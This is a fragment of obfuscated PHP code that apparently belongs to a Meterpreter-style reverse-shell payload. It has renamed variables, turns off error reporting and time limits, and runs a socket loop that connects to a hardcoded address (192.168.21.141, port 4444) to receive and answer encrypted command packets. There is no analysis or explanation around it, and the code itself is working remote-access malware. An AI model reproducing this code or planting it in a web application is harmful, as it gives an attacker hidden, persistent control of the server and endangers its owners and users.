$_9;if(array_key_exists((int)$_59,$_9)){return $_9[(int)$_59];}return false;}function select(&$_99,&$_101,&$_102,$_107=0,$_108=0){$_109=array();$_110=array();$_111=array();$_112=array();$_113=array();$_114=array();if($_99){foreach($_99 as $_59){switch(get_rtype($_59)){case 'socket':$_112[]=$_59;break;case 'stream':$_109[]=$_59;break;default:my_print("Unknown resource type");break;}}}if($_101){foreach($_101 as $_59){switch(get_rtype($_59)){case 'socket':$_113[]=$_59;break;case 'stream':$_110[]=$_59;break;default:my_print("Unknown resource type");break;}}}if($_102){foreach($_102 as $_59){switch(get_rtype($_59)){case 'socket':$_114[]=$_59;break;case 'stream':$_111[]=$_59;break;default:my_print("Unknown resource type");break;}}}$_115=count($_112)+count($_113)+count($_114);$_116=count($_109)+count($_110)+count($_111);$_99=array();$_101=array();$_102=array();if(count($_112)==0){$_112=null;}if(count($_113)==0){$_113=null;}if(count($_114)==0){$_114=null;}if(count($_109)==0){$_109=null;}if(count($_110)==0){$_110=null;}if(count($_111)==0){$_111=null;}$_106=0;if($_115>0){$_30=socket_select($_112,$_113,$_114,$_107,$_108);if(false===$_30){return false;}if(is_array($_99)&&is_array($_112)){$_99=array_merge($_99,$_112);}if(is_array($_101)&&is_array($_113)){$_101=array_merge($_101,$_113);}if(is_array($_102)&&is_array($_114)){$_102=array_merge($_102,$_114);}$_106+=$_30;}if($_116>0){$_30=stream_select($_109,$_110,$_111,$_107,$_108);if(false===$_30){return false;}if(is_array($_99)&&is_array($_109)){$_99=array_merge($_99,$_109);}if(is_array($_101)&&is_array($_110)){$_101=array_merge($_101,$_110);}if(is_array($_102)&&is_array($_111)){$_102=array_merge($_102,$_111);}$_106+=$_30;}return $_106;}function add_reader($_59){global $_8;if(is_resource($_59)&&!in_array($_59,$_8)){$_8[]=$_59;}}function remove_reader($_59){global $_8;if(in_array($_59,$_8)){foreach($_8 as $_6=>$_99){if($_99==$_59){unset($_8[$_6]);}}}}ob_implicit_flush();if(MY_DEBUGGING){error_reporting(E_ALL);}else{error_reporting(0);}@ignore_user_abort(true);@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);$GLOBALS['UUID']=PAYLOAD_UUID;$GLOBALS['SESSION_GUID']=SESSION_GUID;$GLOBALS['AES_KEY']=null;$GLOBALS['AES_ENABLED']=false;if(!isset($GLOBALS['msgsock'])){$_89='192.168.21.141';$_90=4444;my_print("Don't have a msgsock, trying to connect($_89, $_90)");$_78=connect($_89,$_90);if(!$_78){die();}}else{$_78=$GLOBALS['msgsock'];$_117=$GLOBALS['msgsock_type'];switch($_117){case 'socket':register_socket($_78);break;case 'stream':default:register_stream($_78);}}add_reader($_78);$_99=$GLOBALS['readers'];$_101=NULL;$_102=NULL;$_103=1;while(false!==($_104=select($_99,$_101,$_102,$_103))){$_118=false;for($_1=0;$_1<$_104;$_1++){$_119=$_99[$_1];if($_119==$_78){$_120=read($_78,32);my_print(sprintf("Read returned %s bytes",strlen($_120)));if(false==$_120){my_print("Read failed on main socket, bailing");break 2;}$_77=substr($_120,0,4);$_121=xor_bytes($_77,substr($_120,4,28));$_71=unpack("Nlen",substr($_121,20,4));$_28=$_71['len']+32-8;while(strlen($_120)<$_28){$_120.=read($_78,$_28-strlen($_120));}$_122=create_response(decrypt_packet(xor_bytes($_77,$_120)));write_tlv_to_socket($_78,$_122);}else{$_29=read($_119);if(false===$_29){handle_dead_resource_channel($_119);}elseif(strlen($_29)>0){my_print(sprintf("Read returned %s bytes",strlen($_29)));$_123=handle_resource_read_channel($_119,$_29);if($_123){write_tlv_to_socket($_78,$_123);}}}}$_99=$GLOBALS['readers'];}my_print("Finished");my_print("--------------------");close($_78);?>